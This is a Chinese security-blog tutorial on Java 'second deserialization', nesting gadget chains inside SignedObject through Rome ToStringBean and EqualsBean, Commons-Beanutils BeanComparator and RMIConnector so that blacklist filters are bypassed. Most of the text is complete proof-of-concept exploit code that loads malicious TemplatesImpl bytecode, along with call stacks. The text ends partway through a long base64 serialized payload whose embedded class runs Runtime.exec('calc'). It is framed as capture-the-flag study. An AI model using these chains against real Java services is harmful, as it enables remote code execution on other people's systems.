扫码领资料
获网安教程
本文由掌控安全学院 - 作者名 投稿
来Track安全社区投稿~
千元稿费!还有保底奖励~( https://bbs.zkaq.cn)
前言
比赛中会遇到限制很多的黑白名单,二次反序列化就是为了绕过黑名单的限制或不出网利用而诞生的,顾名思义,就是反序列化两次
这里借用 @Poria 师傅的文章来解释下
可以看到只经过一次反序列化的话会被检测到 TemplatesImpl 类,而经过两次反序列化的话则不会被检测到
SignedObject
它是java.security下一个用于创建真实运行时对象的类,更具体地说,SignedObject包含另一个Serializable对象,来看看他的构造函数
将传入的 Serializable对象给序列化了,并将其值存储到了 content 字段中。继续看到该类的 getObject 方法
直接将刚才序列化的内容反序列化了, content 字段值是我们可控的,这里就是造成漏洞的最终利用点,先写个恶意的 SignedObject ,按照其构造函数来传入所需值
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject(恶意对象 用于第二次反序列化, kp.getPrivate(), Signature.getInstance("DSA"));
直接拿cc3来手动触发 SignedObject 试试
package Double_deserialization;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.LazyMap;import org.example.Serialization;import javax.xml.transform.Templates;import java.io.IOException;import java.io.Serializable;import java.lang.annotation.Target;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.security.*;import java.util.HashMap;import java.util.Map;public class SignedObject_test { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "name"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\14.Java\java test\unserizlize test\target\classes\org\example\test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes); Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());// templates.newTransformer(); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});// InstantiateTransformer.transform(TrAXFilter.class); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashmap = new HashMap<>(); Map<Object, Object> lazymap = LazyMap.decorate(hashmap, chainedTransformer); Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class, Map.class); annotationDeclaredConstructor.setAccessible(true); InvocationHandler instance = (InvocationHandler) annotationDeclaredConstructor.newInstance(Target.class, lazymap); Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance); Object o = annotationDeclaredConstructor.newInstance(Target.class, proxyInstance); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA")); signedObject.getObject(); }}
上面是手动触发,但在实际情况中显然是不可能的,我们可以注意到触发点 getObject 是个 getter 方法,说到 getter 方法,不难想到很多利用方式,比如 rome 链和 cb 链,接下来就来看看一些常用的触发 getter 的方法
Rome
就是拼个 rome 链来触发 getter 就好了
ToStringBean#toString
poc
package Double_deserialization;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.security.*;import java.util.HashMap;public class SignedObject_ToStringBean { public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field f = obj.getClass().getDeclaredField(fieldName); f.setAccessible(true); f.set(obj, value); } public static void Unser(Object obj) throws IOException, ClassNotFoundException { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(obj); ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bis); ois.readObject(); } public static HashMap getPayload(Class clazz, Object obj) { ObjectBean objectBean = new ObjectBean(ToStringBean.class, new ToStringBean(clazz, obj)); HashMap hashMap = new HashMap(); hashMap.put(objectBean, "rand"); return hashMap; } public static void main(String[] args) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { TemplatesImpl templatesImpl = new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("D:\14.Java\java test\unserizlize test\target\classes\org\example\test.class")); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{code}); setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templatesImpl, "_name", "test"); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); HashMap hashMap1 = getPayload(Templates.class, templatesImpl); SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA")); HashMap hashMap2 = getPayload(SignedObject.class, signedObject); Unser(hashMap2); }}
调用链
hashMap2:readObject() -> ObjectBean:toString() -> ToStringBean:toString() -> SignedObject:toString() -> SignedObject:getObject() -> hashMap1:readObject() -> ObjectBean:toString() -> ToStringBean:toString() -> TemplatesImpl:getOutputProperties() -> 恶意字节码执行
最后会发现弹了三次计算机,怀疑是类似cc6那样,在 hashMap.put(objectBean, "rand"); 处打个断点调试,果然是差不多的,put 时调用了 ObjectBean 的 hashCode ,一直到后面调用到 EqualsBean 的 beanHashCode 触发了 ToStringBean:toString(),最后的最后就直接加载了恶意类,都还没进行二次反序列化(至于为何 ToStringBean:toString() 能触发 TemplatesImpl:getOutputProperties() ,可以参考看 rome 链 )
所以删除掉
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
就好了,这样在 put 方法触发到动态类加载是由于 _tfactory 属性为空就不会加载我们的恶意字节码,然后后面反序列化中是会自动给其赋值的,所以依然能触发
这只是第一处,第二处的话还是 put 时触发了 ToStringBean:toString() ,这时 _obj 为 SignedObject ,直接就触发了 SignedObject.getObject() ,导致调用了 hashmap1.readObject(),最后触发二次反序列化加载恶意字节码
调用栈
经过上面的分析,我们可以更清楚地理解二次反序列化,其实就是反序列化的一个嵌套调用,先反序列化外部对象时会创建内部对象,并对内部对象进行反序列化,进而触发内部对象中的恶意方法
想避免第二处触发的方法也很简单,就是修改 hashmap2 进行 put 时的参数,之后再修改回来即可,最终poc
package Double_deserialization;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import org.apache.commons.collections.functors.ConstantTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.security.*;import java.util.HashMap;public class SignedObject_test { public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field f = obj.getClass().getDeclaredField(fieldName); f.setAccessible(true); f.set(obj, value); } public static HashMap getPayload(Class clazz, Object obj) { ObjectBean objectBean = new ObjectBean(ToStringBean.class, new ToStringBean(clazz, obj)); HashMap hashMap = new HashMap(); hashMap.put(objectBean, "gaoren"); return hashMap; } public static void main(String[] args) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException,NoSuchFieldException, IllegalAccessException, ClassNotFoundException { TemplatesImpl templatesImpl = new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("D:\14.Java\java test\unserizlize test\target\classes\org\example\test.class")); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{code}); setFieldValue(templatesImpl, "_name", "gaoren"); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); HashMap hashMap1 = getPayload(Templates.class, templatesImpl); SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA")); ToStringBean tobean = new ToStringBean(SignedObject.class,new ConstantTransformer(1)); ObjectBean objectBean = new ObjectBean(ToStringBean.class,tobean); HashMap hashMap2 = new HashMap(); hashMap2.put(objectBean, "test"); Field v = tobean.getClass().getDeclaredField("_obj"); v.setAccessible(true); v.set(tobean, signedObject); Unser(hashMap2); } public static void Unser(Object obj) throws IOException, ClassNotFoundException { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(obj); ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bis); ois.readObject(); }}
小结
先反序列化触发 hashMap2:readObject() ,然后通过 ToStringBean:toString() 来调用 getter方法,这样就会调用 SignedObject:getObject() ,造成 hashMap1:readObject() 执行,最后 TemplatesImpl:getOutputProperties() 加载恶意字节码
EqualsBean#equals
这个在学 rome 的时候没学,只学了 ObjectBean.toString()。。。简单看了下,ObjectBean 中的 equals 会触发 EqualsBean#beanEquals
其实 EqualsBean#equals 也能触发 beanEquals,所以待会写 poc 不会用到 ObjectBean
public boolean equals(Object obj) { return beanEquals(obj);}
跟进 beanEquals 会发现也有类似触发getter的逻辑
先是获取当前属性的 getter 方法,然后用 invoke 调用,而想要触发 equals ,不难想到 CC7。但是最后在 EqualsBean#equals 中想要调用 getter 方法必须满足一些条件 ,要 bean1 和 bean2 不为空。还需要满足
if (!_beanClass.isInstance(bean2))
这里就是判断 bean2 是否是 _beanClass 类的或其子类的实例。由后面调用 getter 不难看出 _beanClass 是 equalsbean 类,这也是为啥用 EqualsBean#equals 来触发 beanEquals 的原因
跟进调用栈发现 bean2 就是 AbstructMap 类 equals 方法中的 m.get(key),m.get (key) 就是获取 hashmap 中 key 对应的 value 值,所以待会构造 poc 时要使一个 value 为恶意 TemplatesImpl 对象,也就是 bean2
同时我们也要保证 value.equals(m.get(key)) 中 value 的值为 EqualsBean 对象,也就是说这里还要放一个 value ,而触发CC7,还要两个 hashmap 的 hash 值相同,可以这样
HashMap hashMap1 = new HashMap();hashMap1.put("a", bean);hashMap1.put("b", tem);HashMap hashMap2 = new HashMap();hashMap2.put("a", tem);hashMap2.put("b", bean);
先看poc再调试分析
package Double_deserialization;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import javax.xml.transform.Templates;import java.io.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Hashtable;import java.lang.reflect.Field;public class test { public static void main(String[] args)throws Exception { TemplatesImpl tem =new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("D:\14.Java\java test\unserizlize test\target\classes\org\example\test.class")); setValue(tem, "_bytecodes", new byte[][]{code}); setValue(tem, "_tfactory", new TransformerFactoryImpl()); setValue(tem, "_name", "test"); setValue(tem, "_class", null); //bean1 EqualsBean bean = new EqualsBean(String.class, "test"); HashMap hashMap1 = new HashMap(); hashMap1.put("yy", bean); hashMap1.put("zZ", tem); HashMap hashMap2 = new HashMap(); hashMap2.put("yy", tem); hashMap2.put("zZ", bean); Hashtable table = new Hashtable(); table.put(hashMap1, "1"); table.put(hashMap2, "2"); setValue(bean, "_beanClass", Templates.class); //bean2 setValue(bean, "_obj", tem); Unser(table); } public static void Unser(Object obj) throws IOException, ClassNotFoundException { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(obj); ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bis); ois.readObject(); } public static void setValue(Object obj,String fieldName,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); }}
跟进 HashMap 的 hashcode 可以看到其是把 key 和 value 异或从而得到结果,所以换个顺序并不会影响键值对的 hash 值
经过上面的分析,我们已经清晰地了解到是在 EqualsBean#equals 中触发的 getter 方法,看下调用栈
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)beanEquals:146, EqualsBean (com.sun.syndication.feed.impl)equals:103, EqualsBean (com.sun.syndication.feed.impl)equals:472, AbstractMap (java.util)reconstitutionPut:1221, Hashtable (java.util)readObject:1195, Hashtable (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:1900, ObjectInputStream (java.io)readOrdinaryObject:1801, ObjectInputStream (java.io)readObject0:1351, ObjectInputStream (java.io)readObject:371, ObjectInputStream (java.io)getObject:180, SignedObject (java.security)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)beanEquals:146, EqualsBean (com.sun.syndication.feed.impl)equals:103, EqualsBean (com.sun.syndication.feed.impl)equals:472, AbstractMap (java.util)reconstitutionPut:1221, Hashtable (java.util)readObject:1195, Hashtable (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:1900, ObjectInputStream (java.io)readOrdinaryObject:1801, ObjectInputStream (java.io)readObject0:1351, ObjectInputStream (java.io)readObject:371, ObjectInputStream (java.io)Unser:74, ObjectBean_equals (Double_deserialization)main:66, ObjectBean_equals (Double_deserialization)
最终二次反序列化poc
package Double_deserialization;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import javax.xml.transform.Templates;import java.io.*;import java.nio.file.Files;import java.nio.file.Paths;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.HashMap;import java.util.Hashtable;import java.lang.reflect.Field;public class ObjectBean_equals { public static void main(String[] args)throws Exception { TemplatesImpl tem =new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("D:\14.Java\java test\unserizlize test\target\classes\org\example\test.class")); setValue(tem, "_bytecodes", new byte[][]{code}); setValue(tem, "_tfactory", new TransformerFactoryImpl()); setValue(tem, "_name", "test"); setValue(tem, "_class", null); EqualsBean bean1 = new EqualsBean(String.class, "test"); HashMap hashMap1 = new HashMap(); hashMap1.put("yy", bean1); hashMap1.put("zZ", tem); HashMap hashMap2 = new HashMap(); hashMap2.put("yy", tem); hashMap2.put("zZ", bean1); Hashtable table = new Hashtable(); table.put(hashMap1, "1"); table.put(hashMap2, "2"); setValue(bean1, "_beanClass", Templates.class); setValue(bean1, "_obj",tem); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject(table, kp.getPrivate(), Signature.getInstance("DSA")); EqualsBean bean2 = new EqualsBean(String.class, "test"); HashMap hashMap3 = new HashMap(); hashMap3.put("yy", bean2); hashMap3.put("zZ", signedObject); HashMap hashMap4 = new HashMap(); hashMap4.put("yy", signedObject); hashMap4.put("zZ", bean2); Hashtable table2 = new Hashtable(); table2.put(hashMap3, "1"); table2.put(hashMap4, "2"); setValue(bean2, "_beanClass", SignedObject.class); setValue(bean2, "_obj",signedObject); Unser(table2); } public static void Unser(Object obj) throws IOException, ClassNotFoundException { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(obj); ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bis); ois.readObject(); } public static void setValue(Object obj,String fieldName,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); }}
疑问
按理说这里和CC7那个要求不一样,只需要随意两个值即可,但是像 baaa、caaa 这样的值就不行,yy、zZ 却可以,a、b 也行,没太懂
小结
看那个调用栈,可以看出大概调用链
table2 的 Hashtable#readObejct -> EqualsBean#equals -> SignedObject#getObject -> table1 的 Hashtable#readObejct -> EqualsBean#equals -> TemplatesImpl#getOutputProperties
Commons-Beanutils
BeanComparator
学 CB 的时候学过,调用链
BeanComparator.compare()-> PropertyUtils.getProperty()
是通过 PropertyUtils.getProperty() 这个 getter 方法来调用的
poc
package Double_deserialization;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.PriorityQueue;public class CB_BeanComparator { public static void main(String[] args)throws Exception { TemplatesImpl tem =new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("D:\14.Java\java test\unserizlize test\target\classes\org\example\test.class")); setValue(tem, "_bytecodes", new byte[][]{code}); setValue(tem, "_tfactory", new TransformerFactoryImpl()); setValue(tem, "_name", "test"); setValue(tem, "_class", null); PriorityQueue queue1 = new PriorityQueue(1); BeanComparator comparator2 = new BeanComparator("outputProperties"); queue1.add(1); queue1.add(1); Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); field.setAccessible(true); field.set(queue1,comparator2); Object[] queue_array = new Object[]{tem,1}; Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue"); queue_field.setAccessible(true); queue_field.set(queue1,queue_array); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA")); PriorityQueue queue2 = new PriorityQueue(1); BeanComparator comparator = new BeanComparator("object"); queue2.add(2); queue2.add(2); Field field2 = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); field2.setAccessible(true); field2.set(queue2,comparator); Object[] queue_array2 = new Object[]{signedObject,1}; Field queue_field2 = Class.forName("java.util.PriorityQueue").getDeclaredField("queue"); queue_field2.setAccessible(true); queue_field2.set(queue2,queue_array2); Unser(queue2); } public static void Unser(Object obj) throws IOException, ClassNotFoundException { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(obj); ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bis); ois.readObject(); } public static void setValue(Object obj,String fieldName,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); }}
调用栈
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeMethod:2116, PropertyUtilsBean (org.apache.commons.beanutils)getSimpleProperty:1267, PropertyUtilsBean (org.apache.commons.beanutils)getNestedProperty:808, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:884, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:464, PropertyUtils (org.apache.commons.beanutils)compare:163, BeanComparator (org.apache.commons.beanutils)siftDownUsingComparator:721, PriorityQueue (java.util)siftDown:687, PriorityQueue (java.util)heapify:736, PriorityQueue (java.util)readObject:795, PriorityQueue (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:1900, ObjectInputStream (java.io)readOrdinaryObject:1801, ObjectInputStream (java.io)readObject0:1351, ObjectInputStream (java.io)readObject:371, ObjectInputStream (java.io)getObject:180, SignedObject (java.security)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeMethod:2116, PropertyUtilsBean (org.apache.commons.beanutils)getSimpleProperty:1267, PropertyUtilsBean (org.apache.commons.beanutils)getNestedProperty:808, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:884, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:464, PropertyUtils (org.apache.commons.beanutils)compare:163, BeanComparator (org.apache.commons.beanutils)siftDownUsingComparator:721, PriorityQueue (java.util)siftDown:687, PriorityQueue (java.util)heapify:736, PriorityQueue (java.util)readObject:795, PriorityQueue (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:1900, ObjectInputStream (java.io)readOrdinaryObject:1801, ObjectInputStream (java.io)readObject0:1351, ObjectInputStream (java.io)readObject:371, ObjectInputStream (java.io)Unser:75, CB_BeanComparator (Double_deserialization)main:67, CB_BeanComparator (Double_deserialization)
小结
还是看调用栈得出大概调用链,跟上面的差不多
queue2的 PriorityQueue#readObject->BeanComparator#compare->PropertyUtils#getProperty->SignObject#getObject->queue1的 PriorityQueue#readObject->BeanComparator#compare->TemplatesImpl#getOutputProperties
RMIConnector
顾名思义,一个用来与远程 rmi 连接器的连接类,在 javax.management.remote.rmi 包中的 RMIConnector
这里重点关注其 findRMIServerJRMP 方法
这个方法的作用就是反序列化 base64 编码的 RMI 服务器的 stub,跟进发现 findRMIServer 函数调用了它
path 为 /stub/ 开头就会调用 findRMIServerJRMP ,继续跟进,发现 connect 方法调用了 findRMIServer
需要满足 rmiServer = null 才会调用,我们可以发现有个构造类刚好满足这个条件
-
• 第一个构造方法:仅依赖 URL,会在后续通过 findRMIServer 来解析 rmiServer 存根 -
• 第二个构造方法:直接提供 rmiServer 存根,不需要 URL 查询,适用于已知存根的情况
为了满足 rmiServer = null 我们选择第一个,故构造语句
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");setFieldValue(jmxServiceURL, "urlPath", "/stub/base64string");RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
然后触发 connect 直接用 cc1 的 lazymap 触发任意方法打就行了,/stub/ 后面随便跟个base64编码序列化后的链子就行,比如这里我用的就是 cb
package Double_deserialization;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.remote.JMXServiceURL;import javax.management.remote.rmi.RMIConnector;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class RMIConnector_test { public static void main(String[] args) throws Exception { JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://"); setFieldValue(jmxServiceURL, "urlPath", "/stub/rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAABePK/rq+AAAANAAyCgACAAMHAAQMAAUABgEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBAAY8aW5pdD4BAAMoKVYKAAgACQcACgwACwAMAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAOAQAEY2FsYwoACAAQDAARABIBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7BwAUAQATamF2YS9sYW5nL0V4Y2VwdGlvbgoAEwAWDAAXAAYBAA9wcmludFN0YWNrVHJhY2UHABkBAB9tYWluL2phdmEvY2MyL1Rlc3RUZW1wbGF0ZXNJbXBsAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAhTG1haW4vamF2YS9jYzIvVGVzdFRlbXBsYXRlc0ltcGw7AQANU3RhY2tNYXBUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAqAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAWVGVzdFRlbXBsYXRlc0ltcGwuamF2YQAhABgAAgAAAAAAAwABAAUABgABABoAAAB8AAIAAgAAABYqtwABuAAHEg22AA9XpwAITCu2ABWxAAEABAANABAAEwADABsAAAAaAAYAAAAMAAQADgANABEAEAAPABEAEAAVABIAHAAAABYAAgARAAQAHQAeAAEAAAAWAB8AIAAAACEAAAAQAAL/ABAAAQcAGAABBwATBAABACIAIwACABoAAAA/AAAAAwAAAAGxAAAAAgAbAAAABgABAAAAFgAcAAAAIAADAAAAAQAfACAAAAAAAAEAJAAlAAEAAAABACYAJwACACgAAAAEAAEAKQABACIAKwACABoAAABJAAAABAAAAAGxAAAAAgAbAAAABgABAAAAGgAcAAAAKgAEAAAAAQAfACAAAAAAAAEAJAAlAAEAAAABACwALQACAAAAAQAuAC8AAwAoAAAABAABACkAAQAwAAA